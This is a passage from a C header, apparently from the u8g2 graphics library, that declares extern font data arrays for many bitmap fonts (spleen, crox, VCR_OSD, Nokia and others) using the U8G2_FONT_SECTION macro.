U8G2_FONT_SECTION(\"u8g2_font_simple1_te\");\nextern const uint8_t u8g2_font_likeminecraft_te[] U8G2_FONT_SECTION(\"u8g2_font_likeminecraft_te\");\nextern const uint8_t u8g2_font_medsans_tr[] U8G2_FONT_SECTION(\"u8g2_font_medsans_tr\");\nextern const uint8_t u8g2_font_heisans_tr[] U8G2_FONT_SECTION(\"u8g2_font_heisans_tr\");\nextern const uint8_t u8g2_font_originalsans_tr[] U8G2_FONT_SECTION(\"u8g2_font_originalsans_tr\");\nextern const uint8_t u8g2_font_minicute_tr[] U8G2_FONT_SECTION(\"u8g2_font_minicute_tr\");\nextern const uint8_t u8g2_font_minicute_te[] U8G2_FONT_SECTION(\"u8g2_font_minicute_te\");\nextern const uint8_t u8g2_font_scrum_tf[] U8G2_FONT_SECTION(\"u8g2_font_scrum_tf\");\nextern const uint8_t u8g2_font_scrum_tr[] U8G2_FONT_SECTION(\"u8g2_font_scrum_tr\");\nextern const uint8_t u8g2_font_scrum_te[] U8G2_FONT_SECTION(\"u8g2_font_scrum_te\");\nextern const uint8_t u8g2_font_stylishcharm_tr[] U8G2_FONT_SECTION(\"u8g2_font_stylishcharm_tr\");\nextern const uint8_t u8g2_font_stylishcharm_te[] U8G2_FONT_SECTION(\"u8g2_font_stylishcharm_te\");\nextern const uint8_t u8g2_font_sisterserif_tr[] U8G2_FONT_SECTION(\"u8g2_font_sisterserif_tr\");\nextern const uint8_t u8g2_font_princess_tr[] U8G2_FONT_SECTION(\"u8g2_font_princess_tr\");\nextern const uint8_t u8g2_font_princess_te[] U8G2_FONT_SECTION(\"u8g2_font_princess_te\");\nextern const uint8_t u8g2_font_dystopia_tr[] U8G2_FONT_SECTION(\"u8g2_font_dystopia_tr\");\nextern const uint8_t u8g2_font_dystopia_te[] U8G2_FONT_SECTION(\"u8g2_font_dystopia_te\");\nextern const uint8_t u8g2_font_lastapprenticethin_tr[] U8G2_FONT_SECTION(\"u8g2_font_lastapprenticethin_tr\");\nextern const uint8_t u8g2_font_lastapprenticethin_te[] U8G2_FONT_SECTION(\"u8g2_font_lastapprenticethin_te\");\nextern const uint8_t u8g2_font_lastapprenticebold_tr[] U8G2_FONT_SECTION(\"u8g2_font_lastapprenticebold_tr\");\nextern const uint8_t u8g2_font_lastapprenticebold_te[] U8G2_FONT_SECTION(\"u8g2_font_lastapprenticebold_te\");\nextern const uint8_t u8g2_font_bpixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_bpixel_tr\");\nextern const uint8_t u8g2_font_bpixel_te[] U8G2_FONT_SECTION(\"u8g2_font_bpixel_te\");\nextern const uint8_t u8g2_font_bpixeldouble_tr[] U8G2_FONT_SECTION(\"u8g2_font_bpixeldouble_tr\");\nextern const uint8_t u8g2_font_mildras_tr[] U8G2_FONT_SECTION(\"u8g2_font_mildras_tr\");\nextern const uint8_t u8g2_font_mildras_te[] U8G2_FONT_SECTION(\"u8g2_font_mildras_te\");\nextern const uint8_t u8g2_font_minuteconsole_mr[] U8G2_FONT_SECTION(\"u8g2_font_minuteconsole_mr\");\nextern const uint8_t u8g2_font_minuteconsole_tr[] U8G2_FONT_SECTION(\"u8g2_font_minuteconsole_tr\");\nextern const uint8_t u8g2_font_busdisplay11x5_tr[] U8G2_FONT_SECTION(\"u8g2_font_busdisplay11x5_tr\");\nextern const uint8_t u8g2_font_busdisplay11x5_te[] U8G2_FONT_SECTION(\"u8g2_font_busdisplay11x5_te\");\nextern const uint8_t u8g2_font_busdisplay8x5_tr[] U8G2_FONT_SECTION(\"u8g2_font_busdisplay8x5_tr\");\nextern const uint8_t u8g2_font_sticker100complete_tr[] U8G2_FONT_SECTION(\"u8g2_font_sticker100complete_tr\");\nextern const uint8_t u8g2_font_sticker100complete_te[] U8G2_FONT_SECTION(\"u8g2_font_sticker100complete_te\");\nextern const uint8_t u8g2_font_doomalpha04_tr[] U8G2_FONT_SECTION(\"u8g2_font_doomalpha04_tr\");\nextern const uint8_t u8g2_font_doomalpha04_te[] U8G2_FONT_SECTION(\"u8g2_font_doomalpha04_te\");\nextern const uint8_t u8g2_font_greenbloodserif2_tr[] U8G2_FONT_SECTION(\"u8g2_font_greenbloodserif2_tr\");\nextern const uint8_t u8g2_font_eckpixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_eckpixel_tr\");\nextern const uint8_t u8g2_font_elispe_tr[] U8G2_FONT_SECTION(\"u8g2_font_elispe_tr\");\nextern const uint8_t u8g2_font_neuecraft_tr[] U8G2_FONT_SECTION(\"u8g2_font_neuecraft_tr\");\nextern const uint8_t u8g2_font_neuecraft_te[] U8G2_FONT_SECTION(\"u8g2_font_neuecraft_te\");\nextern const uint8_t u8g2_font_8bitclassic_tf[] U8G2_FONT_SECTION(\"u8g2_font_8bitclassic_tf\");\nextern const uint8_t u8g2_font_8bitclassic_tr[] U8G2_FONT_SECTION(\"u8g2_font_8bitclassic_tr\");\nextern const uint8_t u8g2_font_8bitclassic_te[] U8G2_FONT_SECTION(\"u8g2_font_8bitclassic_te\");\nextern const uint8_t u8g2_font_littlemissloudonbold_tr[] U8G2_FONT_SECTION(\"u8g2_font_littlemissloudonbold_tr\");\nextern const uint8_t u8g2_font_littlemissloudonbold_te[] U8G2_FONT_SECTION(\"u8g2_font_littlemissloudonbold_te\");\nextern const uint8_t u8g2_font_commodore64_tr[] U8G2_FONT_SECTION(\"u8g2_font_commodore64_tr\");\nextern const uint8_t u8g2_font_new3x9pixelfont_tf[] U8G2_FONT_SECTION(\"u8g2_font_new3x9pixelfont_tf\");\nextern const uint8_t u8g2_font_new3x9pixelfont_tr[] U8G2_FONT_SECTION(\"u8g2_font_new3x9pixelfont_tr\");\nextern const uint8_t u8g2_font_new3x9pixelfont_te[] U8G2_FONT_SECTION(\"u8g2_font_new3x9pixelfont_te\");\nextern const uint8_t u8g2_font_sonicmania_tr[] U8G2_FONT_SECTION(\"u8g2_font_sonicmania_tr\");\nextern const uint8_t u8g2_font_sonicmania_te[] U8G2_FONT_SECTION(\"u8g2_font_sonicmania_te\");\nextern const uint8_t u8g2_font_bytesize_tf[] U8G2_FONT_SECTION(\"u8g2_font_bytesize_tf\");\nextern const uint8_t u8g2_font_bytesize_tr[] U8G2_FONT_SECTION(\"u8g2_font_bytesize_tr\");\nextern const uint8_t u8g2_font_bytesize_te[] U8G2_FONT_SECTION(\"u8g2_font_bytesize_te\");\nextern const uint8_t u8g2_font_pixzillav1_tf[] U8G2_FONT_SECTION(\"u8g2_font_pixzillav1_tf\");\nextern const uint8_t u8g2_font_pixzillav1_tr[] U8G2_FONT_SECTION(\"u8g2_font_pixzillav1_tr\");\nextern const uint8_t u8g2_font_pixzillav1_te[] U8G2_FONT_SECTION(\"u8g2_font_pixzillav1_te\");\nextern const uint8_t u8g2_font_ciircle13_tr[] U8G2_FONT_SECTION(\"u8g2_font_ciircle13_tr\");\nextern const uint8_t u8g2_font_pxclassic_tf[] U8G2_FONT_SECTION(\"u8g2_font_pxclassic_tf\");\nextern const uint8_t u8g2_font_pxclassic_tr[] U8G2_FONT_SECTION(\"u8g2_font_pxclassic_tr\");\nextern const uint8_t u8g2_font_pxclassic_te[] U8G2_FONT_SECTION(\"u8g2_font_pxclassic_te\");\nextern const uint8_t u8g2_font_moosenooks_tr[] U8G2_FONT_SECTION(\"u8g2_font_moosenooks_tr\");\nextern const uint8_t u8g2_font_tallpixelextended_tf[] U8G2_FONT_SECTION(\"u8g2_font_tallpixelextended_tf\");\nextern const uint8_t u8g2_font_tallpixelextended_tr[] U8G2_FONT_SECTION(\"u8g2_font_tallpixelextended_tr\");\nextern const uint8_t u8g2_font_tallpixelextended_te[] U8G2_FONT_SECTION(\"u8g2_font_tallpixelextended_te\");\nextern const uint8_t u8g2_font_BBSesque_tf[] U8G2_FONT_SECTION(\"u8g2_font_BBSesque_tf\");\nextern const uint8_t u8g2_font_BBSesque_tr[] U8G2_FONT_SECTION(\"u8g2_font_BBSesque_tr\");\nextern const uint8_t u8g2_font_BBSesque_te[] U8G2_FONT_SECTION(\"u8g2_font_BBSesque_te\");\nextern const uint8_t u8g2_font_Born2bSportySlab_tf[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportySlab_tf\");\nextern const uint8_t u8g2_font_Born2bSportySlab_tr[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportySlab_tr\");\nextern const uint8_t u8g2_font_Born2bSportySlab_te[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportySlab_te\");\nextern const uint8_t u8g2_font_Born2bSportySlab_t_all[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportySlab_t_all\");\nextern const uint8_t u8g2_font_Born2bSportyV2_tf[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportyV2_tf\");\nextern const uint8_t u8g2_font_Born2bSportyV2_tr[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportyV2_tr\");\nextern const uint8_t u8g2_font_Born2bSportyV2_te[] U8G2_FONT_SECTION(\"u8g2_font_Born2bSportyV2_te\");\nextern const uint8_t u8g2_font_CursivePixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_CursivePixel_tr\");\nextern const uint8_t u8g2_font_Engrish_tf[] U8G2_FONT_SECTION(\"u8g2_font_Engrish_tf\");\nextern const uint8_t u8g2_font_Engrish_tr[] U8G2_FONT_SECTION(\"u8g2_font_Engrish_tr\");\nextern const uint8_t u8g2_font_ImpactBits_tr[] U8G2_FONT_SECTION(\"u8g2_font_ImpactBits_tr\");\nextern const uint8_t u8g2_font_IPAandRUSLCD_tf[] U8G2_FONT_SECTION(\"u8g2_font_IPAandRUSLCD_tf\");\nextern const uint8_t u8g2_font_IPAandRUSLCD_tr[] U8G2_FONT_SECTION(\"u8g2_font_IPAandRUSLCD_tr\");\nextern const uint8_t u8g2_font_IPAandRUSLCD_te[] U8G2_FONT_SECTION(\"u8g2_font_IPAandRUSLCD_te\");\nextern const uint8_t u8g2_font_PixelTheatre_tr[] U8G2_FONT_SECTION(\"u8g2_font_PixelTheatre_tr\");\nextern const uint8_t u8g2_font_PixelTheatre_te[] U8G2_FONT_SECTION(\"u8g2_font_PixelTheatre_te\");\nextern const uint8_t u8g2_font_HelvetiPixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_HelvetiPixel_tr\");\nextern const uint8_t u8g2_font_TimesNewPixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_TimesNewPixel_tr\");\nextern const uint8_t u8g2_font_BitTypeWriter_tr[] U8G2_FONT_SECTION(\"u8g2_font_BitTypeWriter_tr\");\nextern const uint8_t u8g2_font_BitTypeWriter_te[] U8G2_FONT_SECTION(\"u8g2_font_BitTypeWriter_te\");\nextern const uint8_t u8g2_font_Georgia7px_tf[] U8G2_FONT_SECTION(\"u8g2_font_Georgia7px_tf\");\nextern const uint8_t u8g2_font_Georgia7px_tr[] U8G2_FONT_SECTION(\"u8g2_font_Georgia7px_tr\");\nextern const uint8_t u8g2_font_Georgia7px_te[] U8G2_FONT_SECTION(\"u8g2_font_Georgia7px_te\");\nextern const uint8_t u8g2_font_Wizzard_tr[] U8G2_FONT_SECTION(\"u8g2_font_Wizzard_tr\");\nextern const uint8_t u8g2_font_HelvetiPixelOutline_tr[] U8G2_FONT_SECTION(\"u8g2_font_HelvetiPixelOutline_tr\");\nextern const uint8_t u8g2_font_HelvetiPixelOutline_te[] U8G2_FONT_SECTION(\"u8g2_font_HelvetiPixelOutline_te\");\nextern const uint8_t u8g2_font_Untitled16PixelSansSerifBitmap_tr[] U8G2_FONT_SECTION(\"u8g2_font_Untitled16PixelSansSerifBitmap_tr\");\nextern const uint8_t u8g2_font_UnnamedDOSFontIV_tr[] U8G2_FONT_SECTION(\"u8g2_font_UnnamedDOSFontIV_tr\");\nextern const uint8_t u8g2_font_Terminal_tr[] U8G2_FONT_SECTION(\"u8g2_font_Terminal_tr\");\nextern const uint8_t u8g2_font_Terminal_te[] U8G2_FONT_SECTION(\"u8g2_font_Terminal_te\");\nextern const uint8_t u8g2_font_NokiaLargeBold_tf[] U8G2_FONT_SECTION(\"u8g2_font_NokiaLargeBold_tf\");\nextern const uint8_t u8g2_font_NokiaLargeBold_tr[] U8G2_FONT_SECTION(\"u8g2_font_NokiaLargeBold_tr\");\nextern const uint8_t u8g2_font_NokiaLargeBold_te[] U8G2_FONT_SECTION(\"u8g2_font_NokiaLargeBold_te\");\nextern const uint8_t u8g2_font_NokiaSmallBold_tf[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallBold_tf\");\nextern const uint8_t u8g2_font_NokiaSmallBold_tr[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallBold_tr\");\nextern const uint8_t u8g2_font_NokiaSmallBold_te[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallBold_te\");\nextern const uint8_t u8g2_font_NokiaSmallPlain_tf[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallPlain_tf\");\nextern const uint8_t u8g2_font_NokiaSmallPlain_tr[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallPlain_tr\");\nextern const uint8_t u8g2_font_NokiaSmallPlain_te[] U8G2_FONT_SECTION(\"u8g2_font_NokiaSmallPlain_te\");\nextern const uint8_t u8g2_font_12x6LED_tf[] U8G2_FONT_SECTION(\"u8g2_font_12x6LED_tf\");\nextern const uint8_t u8g2_font_12x6LED_tr[] U8G2_FONT_SECTION(\"u8g2_font_12x6LED_tr\");\nextern const uint8_t u8g2_font_12x6LED_mn[] U8G2_FONT_SECTION(\"u8g2_font_12x6LED_mn\");\nextern const uint8_t u8g2_font_9x6LED_tf[] U8G2_FONT_SECTION(\"u8g2_font_9x6LED_tf\");\nextern const uint8_t u8g2_font_9x6LED_tr[] U8G2_FONT_SECTION(\"u8g2_font_9x6LED_tr\");\nextern const uint8_t u8g2_font_9x6LED_mn[] U8G2_FONT_SECTION(\"u8g2_font_9x6LED_mn\");\nextern const uint8_t u8g2_font_calblk36_tr[] U8G2_FONT_SECTION(\"u8g2_font_calblk36_tr\");\nextern const uint8_t u8g2_font_callite24_tr[] U8G2_FONT_SECTION(\"u8g2_font_callite24_tr\");\nextern const uint8_t u8g2_font_spleen5x8_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen5x8_mf\");\nextern const uint8_t u8g2_font_spleen5x8_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen5x8_mr\");\nextern const uint8_t u8g2_font_spleen5x8_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen5x8_mn\");\nextern const uint8_t u8g2_font_spleen5x8_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen5x8_mu\");\nextern const uint8_t u8g2_font_spleen5x8_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen5x8_me\");\nextern const uint8_t u8g2_font_spleen6x12_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen6x12_mf\");\nextern const uint8_t u8g2_font_spleen6x12_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen6x12_mr\");\nextern const uint8_t u8g2_font_spleen6x12_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen6x12_mn\");\nextern const uint8_t u8g2_font_spleen6x12_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen6x12_mu\");\nextern const uint8_t u8g2_font_spleen6x12_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen6x12_me\");\nextern const uint8_t u8g2_font_spleen8x16_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen8x16_mf\");\nextern const uint8_t u8g2_font_spleen8x16_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen8x16_mr\");\nextern const uint8_t u8g2_font_spleen8x16_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen8x16_mn\");\nextern const uint8_t u8g2_font_spleen8x16_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen8x16_mu\");\nextern const uint8_t u8g2_font_spleen8x16_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen8x16_me\");\nextern const uint8_t u8g2_font_spleen12x24_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen12x24_mf\");\nextern const uint8_t u8g2_font_spleen12x24_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen12x24_mr\");\nextern const uint8_t u8g2_font_spleen12x24_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen12x24_mn\");\nextern const uint8_t u8g2_font_spleen12x24_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen12x24_mu\");\nextern const uint8_t u8g2_font_spleen12x24_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen12x24_me\");\nextern const uint8_t u8g2_font_spleen16x32_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen16x32_mf\");\nextern const uint8_t u8g2_font_spleen16x32_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen16x32_mr\");\nextern const uint8_t u8g2_font_spleen16x32_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen16x32_mn\");\nextern const uint8_t u8g2_font_spleen16x32_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen16x32_mu\");\nextern const uint8_t u8g2_font_spleen16x32_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen16x32_me\");\nextern const uint8_t u8g2_font_spleen32x64_mf[] U8G2_FONT_SECTION(\"u8g2_font_spleen32x64_mf\");\nextern const uint8_t u8g2_font_spleen32x64_mr[] U8G2_FONT_SECTION(\"u8g2_font_spleen32x64_mr\");\nextern const uint8_t u8g2_font_spleen32x64_mn[] U8G2_FONT_SECTION(\"u8g2_font_spleen32x64_mn\");\nextern const uint8_t u8g2_font_spleen32x64_mu[] U8G2_FONT_SECTION(\"u8g2_font_spleen32x64_mu\");\nextern const uint8_t u8g2_font_spleen32x64_me[] U8G2_FONT_SECTION(\"u8g2_font_spleen32x64_me\");\nextern const uint8_t u8g2_font_nokiafc22_tf[] U8G2_FONT_SECTION(\"u8g2_font_nokiafc22_tf\");\nextern const uint8_t u8g2_font_nokiafc22_tr[] U8G2_FONT_SECTION(\"u8g2_font_nokiafc22_tr\");\nextern const uint8_t u8g2_font_nokiafc22_tn[] U8G2_FONT_SECTION(\"u8g2_font_nokiafc22_tn\");\nextern const uint8_t u8g2_font_nokiafc22_tu[] U8G2_FONT_SECTION(\"u8g2_font_nokiafc22_tu\");\nextern const uint8_t u8g2_font_VCR_OSD_tf[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_tf\");\nextern const uint8_t u8g2_font_VCR_OSD_tr[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_tr\");\nextern const uint8_t u8g2_font_VCR_OSD_tn[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_tn\");\nextern const uint8_t u8g2_font_VCR_OSD_tu[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_tu\");\nextern const uint8_t u8g2_font_VCR_OSD_mf[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_mf\");\nextern const uint8_t u8g2_font_VCR_OSD_mr[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_mr\");\nextern const uint8_t u8g2_font_VCR_OSD_mn[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_mn\");\nextern const uint8_t u8g2_font_VCR_OSD_mu[] U8G2_FONT_SECTION(\"u8g2_font_VCR_OSD_mu\");\nextern const uint8_t u8g2_font_Pixellari_tf[] U8G2_FONT_SECTION(\"u8g2_font_Pixellari_tf\");\nextern const uint8_t u8g2_font_Pixellari_tr[] U8G2_FONT_SECTION(\"u8g2_font_Pixellari_tr\");\nextern const uint8_t u8g2_font_Pixellari_tn[] U8G2_FONT_SECTION(\"u8g2_font_Pixellari_tn\");\nextern const uint8_t u8g2_font_Pixellari_tu[] U8G2_FONT_SECTION(\"u8g2_font_Pixellari_tu\");\nextern const uint8_t u8g2_font_Pixellari_te[] U8G2_FONT_SECTION(\"u8g2_font_Pixellari_te\");\nextern const uint8_t u8g2_font_pixelpoiiz_tr[] U8G2_FONT_SECTION(\"u8g2_font_pixelpoiiz_tr\");\nextern const uint8_t u8g2_font_DigitalDiscoThin_tf[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDiscoThin_tf\");\nextern const uint8_t u8g2_font_DigitalDiscoThin_tr[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDiscoThin_tr\");\nextern const uint8_t u8g2_font_DigitalDiscoThin_tn[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDiscoThin_tn\");\nextern const uint8_t u8g2_font_DigitalDiscoThin_tu[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDiscoThin_tu\");\nextern const uint8_t u8g2_font_DigitalDiscoThin_te[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDiscoThin_te\");\nextern const uint8_t u8g2_font_DigitalDisco_tf[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDisco_tf\");\nextern const uint8_t u8g2_font_DigitalDisco_tr[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDisco_tr\");\nextern const uint8_t u8g2_font_DigitalDisco_tn[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDisco_tn\");\nextern const uint8_t u8g2_font_DigitalDisco_tu[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDisco_tu\");\nextern const uint8_t u8g2_font_DigitalDisco_te[] U8G2_FONT_SECTION(\"u8g2_font_DigitalDisco_te\");\nextern const uint8_t u8g2_font_pearfont_tr[] U8G2_FONT_SECTION(\"u8g2_font_pearfont_tr\");\nextern const uint8_t u8g2_font_etl14thai_t[] U8G2_FONT_SECTION(\"u8g2_font_etl14thai_t\");\nextern const uint8_t u8g2_font_etl16thai_t[] U8G2_FONT_SECTION(\"u8g2_font_etl16thai_t\");\nextern const uint8_t u8g2_font_etl24thai_t[] U8G2_FONT_SECTION(\"u8g2_font_etl24thai_t\");\nextern const uint8_t u8g2_font_crox1cb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_tf\");\nextern const uint8_t u8g2_font_crox1cb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_tr\");\nextern const uint8_t u8g2_font_crox1cb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_tn\");\nextern const uint8_t u8g2_font_crox1cb_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_mf\");\nextern const uint8_t u8g2_font_crox1cb_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_mr\");\nextern const uint8_t u8g2_font_crox1cb_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox1cb_mn\");\nextern const uint8_t u8g2_font_crox1c_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_tf\");\nextern const uint8_t u8g2_font_crox1c_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_tr\");\nextern const uint8_t u8g2_font_crox1c_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_tn\");\nextern const uint8_t u8g2_font_crox1c_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_mf\");\nextern const uint8_t u8g2_font_crox1c_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_mr\");\nextern const uint8_t u8g2_font_crox1c_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox1c_mn\");\nextern const uint8_t u8g2_font_crox1hb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1hb_tf\");\nextern const uint8_t u8g2_font_crox1hb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1hb_tr\");\nextern const uint8_t u8g2_font_crox1hb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1hb_tn\");\nextern const uint8_t u8g2_font_crox1h_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1h_tf\");\nextern const uint8_t u8g2_font_crox1h_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1h_tr\");\nextern const uint8_t u8g2_font_crox1h_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1h_tn\");\nextern const uint8_t u8g2_font_crox1tb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1tb_tf\");\nextern const uint8_t u8g2_font_crox1tb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1tb_tr\");\nextern const uint8_t u8g2_font_crox1tb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1tb_tn\");\nextern const uint8_t u8g2_font_crox1t_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox1t_tf\");\nextern const uint8_t u8g2_font_crox1t_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox1t_tr\");\nextern const uint8_t u8g2_font_crox1t_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox1t_tn\");\nextern const uint8_t u8g2_font_crox2cb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_tf\");\nextern const uint8_t u8g2_font_crox2cb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_tr\");\nextern const uint8_t u8g2_font_crox2cb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_tn\");\nextern const uint8_t u8g2_font_crox2cb_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_mf\");\nextern const uint8_t u8g2_font_crox2cb_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_mr\");\nextern const uint8_t u8g2_font_crox2cb_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox2cb_mn\");\nextern const uint8_t u8g2_font_crox2c_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_tf\");\nextern const uint8_t u8g2_font_crox2c_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_tr\");\nextern const uint8_t u8g2_font_crox2c_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_tn\");\nextern const uint8_t u8g2_font_crox2c_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_mf\");\nextern const uint8_t u8g2_font_crox2c_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_mr\");\nextern const uint8_t u8g2_font_crox2c_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox2c_mn\");\nextern const uint8_t u8g2_font_crox2hb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2hb_tf\");\nextern const uint8_t u8g2_font_crox2hb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2hb_tr\");\nextern const uint8_t u8g2_font_crox2hb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2hb_tn\");\nextern const uint8_t u8g2_font_crox2h_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2h_tf\");\nextern const uint8_t u8g2_font_crox2h_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2h_tr\");\nextern const uint8_t u8g2_font_crox2h_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2h_tn\");\nextern const uint8_t u8g2_font_crox2tb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2tb_tf\");\nextern const uint8_t u8g2_font_crox2tb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2tb_tr\");\nextern const uint8_t u8g2_font_crox2tb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2tb_tn\");\nextern const uint8_t u8g2_font_crox2t_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox2t_tf\");\nextern const uint8_t u8g2_font_crox2t_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox2t_tr\");\nextern const uint8_t u8g2_font_crox2t_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox2t_tn\");\nextern const uint8_t u8g2_font_crox3cb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_tf\");\nextern const uint8_t u8g2_font_crox3cb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_tr\");\nextern const uint8_t u8g2_font_crox3cb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_tn\");\nextern const uint8_t u8g2_font_crox3cb_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_mf\");\nextern const uint8_t u8g2_font_crox3cb_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_mr\");\nextern const uint8_t u8g2_font_crox3cb_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox3cb_mn\");\nextern const uint8_t u8g2_font_crox3c_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_tf\");\nextern const uint8_t u8g2_font_crox3c_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_tr\");\nextern const uint8_t u8g2_font_crox3c_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_tn\");\nextern const uint8_t u8g2_font_crox3c_mf[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_mf\");\nextern const uint8_t u8g2_font_crox3c_mr[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_mr\");\nextern const uint8_t u8g2_font_crox3c_mn[] U8G2_FONT_SECTION(\"u8g2_font_crox3c_mn\");\nextern const uint8_t u8g2_font_crox3hb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3hb_tf\");\nextern const uint8_t u8g2_font_crox3hb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox3hb_tr\");\nextern const uint8_t u8g2_font_crox3hb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3hb_tn\");\nextern const uint8_t u8g2_font_crox3h_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3h_tf\");\nextern const uint8_t u8g2_font_crox3h_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox3h_tr\");\nextern const uint8_t u8g2_font_crox3h_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3h_tn\");\nextern const uint8_t u8g2_font_crox3tb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3tb_tf\");\nextern const uint8_t u8g2_font_crox3tb_tr[] 